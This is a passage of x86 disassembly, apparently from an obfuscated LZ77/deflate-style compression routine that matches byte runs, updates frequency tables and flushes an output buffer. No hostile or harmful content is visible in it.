mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x1c]
cmp eax, dword [ecx]
setbe al
test al, 1
jne 0x41749c
jmp 0x4177a3
mov ecx, dword [edi]
add ecx, 0x90
mov esi, dword [ebp - 0x5c]
mov edx, dword [esi]
mov eax, edx
and eax, 0x7fff
xor eax, 0xffffffff
xor edx, 0xffffffff
or edx, 0xffff8000
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
mov dword [esi], eax
add ecx, eax
call fcn.0042ef10
xor eax, 0xffffffff
or eax, 0xff000000
xor eax, 0xffffffff
and eax, 0xffffffff
mov ecx, dword [ebp - 0x40]
cmp eax, dword [ecx]
jne 0x4177a3
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov edx, dword [ebp - 0x38]
mov dword [edx], eax
mov eax, dword [edi]
add eax, 0x90
mov ecx, dword [ebp - 0x5c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov dword [eax], 0x20
jmp 0x41750c
mov ecx, dword [edx]
add ecx, 2
mov dword [edx], ecx
call fcn.0042ef20
movzx ebx, ax
mov esi, dword [ebp - 0x58]
mov ecx, dword [esi]
add ecx, 2
mov dword [esi], ecx
call fcn.0042ef20
movzx ecx, ax
xor eax, eax
cmp ebx, ecx
jne 0x4175ca
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.0042ef20
movzx ebx, ax
mov ecx, dword [esi]
add ecx, 2
mov dword [esi], ecx
call fcn.0042ef20
movzx ecx, ax
xor eax, eax
cmp ebx, ecx
jne 0x4175ca
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.0042ef20
movzx ebx, ax
mov ecx, dword [esi]
add ecx, 2
mov dword [esi], ecx
call fcn.0042ef20
movzx ecx, ax
xor eax, eax
cmp ebx, ecx
jne 0x4175ca
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.0042ef20
movzx ebx, ax
mov ecx, dword [esi]
add ecx, 2
mov dword [esi], ecx
call fcn.0042ef20
movzx ecx, ax
xor eax, eax
cmp ebx, ecx
jne 0x4175ca
jmp 0x4175ae
mov ecx, dword [ebp - 0x54]
mov eax, dword [ecx]
add eax, 0x51557d40
add eax, 0xffffffff
sub eax, 0x51557d40
mov dword [ecx], eax
cmp eax, 0
seta al
jmp 0x4175ca
test al, 1
mov edx, dword [ebp - 0x38]
jne 0x41750a
mov eax, dword [edx]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
sub eax, 0x75ec7f4d
sub eax, ecx
add eax, 0xa272176d
add eax, 0x75ec7f4d
sub eax, 0xa272176d
sar eax, 1
shl eax, 1
mov ecx, dword [edx]
movzx ecx, byte [ecx]
mov edx, dword [ebp - 0x58]
mov edx, dword [edx]
movzx edx, byte [edx]
cmp ecx, edx
sete cl
and cl, 1
movzx ecx, cl
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, ecx
add edx, eax
xor eax, eax
sub eax, edx
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, ecx
mov ecx, dword [ebp - 0x54]
cmp dword [ecx], 0
mov edx, dword [ebp - 0x18]
jne 0x417648
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
mov eax, 0x102
cmp ecx, 0
jne 0x417641
xor eax, eax
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, ecx
cmp dword [eax], 3
jb 0x417660
cmp dword [eax], 3
jne 0x4176ac
mov eax, dword [ebp - 0x44]
cmp dword [eax], 0x2000
mov eax, dword [ebp - 0x28]
jb 0x4176ac
mov dword [eax], 1
mov esi, dword [ebp - 0x40]
mov eax, dword [esi]
mov ebx, edi
mov edi, dword [ebp - 0x10]
mov ecx, dword [edi]
mov edx, ecx
add edx, 1
mov dword [edi], edx
mov edi, ebx
mov byte [ecx], al
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
movzx eax, byte [eax]
shr eax, 1
mov ecx, dword [ecx]
mov byte [ecx], al
mov eax, dword [edi]
mov ecx, dword [esi]
movzx ecx, cl
mov dx, word [eax + ecx*2 + 0x8192]
sub dx, 0xffff
mov word [eax + ecx*2 + 0x8192], dx
jmp 0x4177a1
mov ecx, eax
mov eax, dword [ecx]
cmp eax, dword [edx]
jae 0x4176b8
mov eax, dword [ecx]
jmp 0x4176ba
mov eax, dword [edx]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
add eax, 0xdc3c1cb
add eax, 0xffffffff
add eax, 0xf23c3e35
mov dword [ebx], eax
mov eax, dword [ecx]
add eax, 0xfffffffd
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx]
mov byte [ecx], al
mov eax, dword [edx]
mov ecx, dword [ebx]
mov dword [eax + 1], ecx
mov eax, dword [edx]
add eax, 3
mov dword [edx], eax
mov esi, dword [ebp - 0x14]
mov eax, dword [esi]
movzx eax, byte [eax]
shr eax, 1
mov ecx, eax
and ecx, 0xffffff7f
mov edx, eax
xor edx, 0x80
add eax, edx
sub eax, ecx
mov ecx, dword [esi]
mov byte [ecx], al
mov eax, dword [ebx]
and eax, 0x1ff
movzx eax, byte [eax + 0x471660]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov eax, dword [ebx]
shr eax, 8
movzx eax, byte [eax + 0x4718e0]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [edi]
add eax, 0x8192
add eax, 0x240
cmp dword [ebx], 0x200
setb cl
test cl, 1
jne 0x417752
jmp 0x417759
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ecx]
jmp 0x417762
jmp 0x41775b
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx]
jmp 0x417762
mov dx, word [eax + ecx*2]
sub dx, 0xffff
mov word [eax + ecx*2], dx
mov eax, dword [edi]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
sub ecx, 4
mov edx, ecx
and edx, 1
shl edx, 1
xor ecx, 1
add ecx, edx
movzx ecx, word [ecx*2 + 0x471260]
mov dx, word [eax + ecx*2 + 0x8192]
sub dx, 0xffff
mov word [eax + ecx*2 + 0x8192], dx
jmp 0x4177e4
mov esi, dword [ebp - 0x40]
mov eax, dword [esi]
mov ebx, edi
mov edi, dword [ebp - 0x10]
mov ecx, dword [edi]
mov edx, ecx
add edx, 1
mov dword [edi], edx
mov edi, ebx
mov byte [ecx], al
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
movzx eax, byte [eax]
shr eax, 1
mov ecx, dword [ecx]
mov byte [ecx], al
mov eax, dword [edi]
mov ecx, dword [esi]
movzx ecx, cl
mov dx, word [eax + ecx*2 + 0x8192]
add dx, 1
mov word [eax + ecx*2 + 0x8192], dx
jmp 0x4177e6
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx]
sub eax, 0x5461b55f
sub eax, 1
add eax, 0x5461b55f
mov dword [ecx], eax
cmp eax, 0
sete al
test al, 1
jne 0x417806
jmp 0x417820
mov eax, dword [ebp - 0x20]
mov dword [eax], 8
mov edx, dword [ebp - 0x10]
mov eax, dword [edx]
mov ecx, eax
add ecx, 1
mov dword [edx], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov ebx, dword [ebp - 0x28]
mov ecx, dword [ebx]
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
add eax, 0x8f00d947
sub eax, 0xd34cda97
sub eax, 0x8f00d947
add eax, ecx
mov ecx, eax
and ecx, 0xd34cda97
shl ecx, 1
xor eax, 0xd34cda97
add eax, ecx
mov dword [edx], eax
mov eax, dword [ebx]
mov esi, dword [ebp - 0x30]
mov ecx, dword [esi]
xor edx, edx
sub edx, eax
add edx, 0
sub ecx, edx
mov dword [esi], ecx
mov esi, dword [ebp - 0x1c]
mov eax, dword [esi]
mov ecx, dword [ebx]
mov edx, eax
and edx, ecx
or eax, ecx
add edx, eax
cmp edx, 0x8000
jae 0x417881
mov eax, dword [esi]
add eax, dword [ebx]
mov ecx, dword [ebp - 0x18]
jmp 0x41788b
mov eax, 0x8000
mov ecx, dword [ebp - 0x18]
jmp 0x41788b
mov dword [esi], eax
mov edx, dword [ebp - 0x4c]
mov eax, dword [edx]
add eax, dword [ebx]
xor eax, 0xffffffff
or eax, 0xffff8000
xor eax, 0xffffffff
and eax, 0xffffffff
mov dword [edx], eax
mov eax, dword [ebx]
mov ecx, dword [ecx]
mov edx, ecx
xor edx, 0xffffffff
and edx, eax
xor eax, 0xffffffff
and ecx, eax
sub ecx, edx
mov edx, dword [ebp - 0x18]
mov dword [edx], ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [edi]
add ecx, 0x9272
add ecx, 0xfff8
cmp eax, ecx
jbe 0x417996
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x1c], eax
mov eax, dword [edx]
mov ecx, dword [edi]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x24], eax
mov esi, dword [ebp - 0x2c]
mov eax, dword [esi]
mov ecx, dword [edi]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x38], eax
mov ecx, dword [edi]
xor edx, edx
call fcn.00426410
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
cmp eax, 0
setne al
test al, 1
mov edx, dword [ebp - 0x18]
jne 0x417936
jmp 0x417959
jmp 0x417938
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
xor eax, eax
cmp ecx, 0
jl 0x417949
mov eax, 1
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x24]
mov dword [ecx], 1
jmp 0x41798b
jmp 0x41795b
mov eax, dword [edi]
mov eax, dword [eax + 0x3c]
mov dword [esi], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x2c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x24]
mov dword [ecx], 0
jmp 0x41798b
cmp dword [ecx], 0
jne 0x41799f
jmp 0x417992
jmp 0x417994
jmp 0x417996
mov ecx, dword [ebp - 0x24]
mov dword [ecx], 0
cmp dword [ecx], 0
jne 0x417bc1
jmp 0x4173c3
jmp 0x4179af
jmp 0x4179b1
jmp 0x4179b3
cmp dword [edx], 0
je 0x417bb7
mov ebx, edi
mov eax, dword [edi]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov al, byte [eax + ecx + 0x90]
mov ecx, dword [ebp - 0x68]
mov byte [ecx], al
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
sub eax, 0xffffffff
mov dword [edx], eax
mov al, byte [ecx]
mov edi, dword [ebp - 0x10]
mov ecx, dword [edi]
mov edx, ecx
add edx, 1
mov dword [edi], edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
movzx eax, byte [eax]
shr eax, 1
mov ecx, dword [ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx]
add eax, 0xffffffff
mov dword [ecx], eax
cmp eax, 0
jne 0x417a23
mov eax, dword [ebp - 0x20]
mov dword [eax], 8
mov edx, dword [ebp - 0x10]
mov eax, dword [edx]
mov ecx, eax
add ecx, 1
mov dword [edx], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov edi, ebx
mov eax, dword [edi]
mov ecx, dword [ebp - 0x68]
movzx ecx, byte [ecx]
mov dx, word [eax + ecx*2 + 0x8192]
add dx, 1
mov word [eax + ecx*2 + 0x8192], dx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ecx]
sub eax, 0x366f7577
add eax, 1
add eax, 0x366f7577
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
sub eax, 0xffffffff
cmp eax, 0x8000
jae 0x417a73
mov edx, dword [ebp - 0x18]
jmp 0x417a69
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
add eax, 1
jmp 0x417a81
mov edx, dword [ebp - 0x18]
jmp 0x417a78
jmp 0x417a7a
mov eax, 0x8000
jmp 0x417a81
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov esi, dword [ebp - 0x4c]
mov eax, dword [esi]
sub eax, 0x6a3ef965
add eax, 1
add eax, 0x6a3ef965
or eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
mov ecx, eax
and ecx, 0x7fff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or eax, 0xffff8000
and ecx, eax
xor ecx, 0xffffffff
mov dword [esi], ecx
mov eax, dword [edx]
xor ecx, ecx
sub ecx, eax
add ecx, 1
xor eax, eax
sub eax, ecx
mov dword [edx], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [edi]
add ecx, 0x9272
add ecx, 0xfff8
cmp eax, ecx
seta al
test al, 1
mov ecx, dword [ebp - 0x24]
jne 0x417aed
jmp 0x417ba3
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x1c], eax
mov eax, dword [edx]
mov ecx, dword [edi]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x24], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x38], eax
mov ecx, dword [edi]
xor edx, edx
call fcn.00426410
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
cmp eax, 0
je 0x417b64
mov ecx, dword [ecx]
xor eax, eax
cmp ecx, 0
jl 0x417b51
mov eax, 1
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x24]
mov dword [ecx], 1
mov edx, dword [ebp - 0x18]
jmp 0x417b9c
jmp 0x417b66
mov eax, dword [edi]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x2c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [edi]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x24]
mov dword [ecx], 0
mov edx, dword [ebp - 0x18]
jmp 0x417b9c
cmp dword [ecx], 0
jne 0x417ba9
jmp 0x417ba3
mov dword [ecx], 0
cmp dword [ecx], 0
jne 0x417bbf
jmp 0x417bb0
jmp 0x417bb2
jmp 0x4179b3
mov dword [ecx], 0
jmp 0x417bc3
jmp 0x417bc3
jmp 0x417bc3
mov eax, dword [ecx]
test eax, eax
je 0x417bd2
jmp 0x417bcb
sub eax, 3
je 0x417bd7
jmp 0x417c2e
jmp 0x41716b
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x1c], eax
mov eax, dword [edx]
mov ecx, dword [edi]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x24], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [edi]
mov dword [ecx + 0x38], eax
mov ecx, dword [ebp - 0x50]
mov dword [ecx], 1
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
jmp 0x417c33
mov ecx, dword [ebp - 0x50]
jmp 0x417c33
mov eax, dword [ecx]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret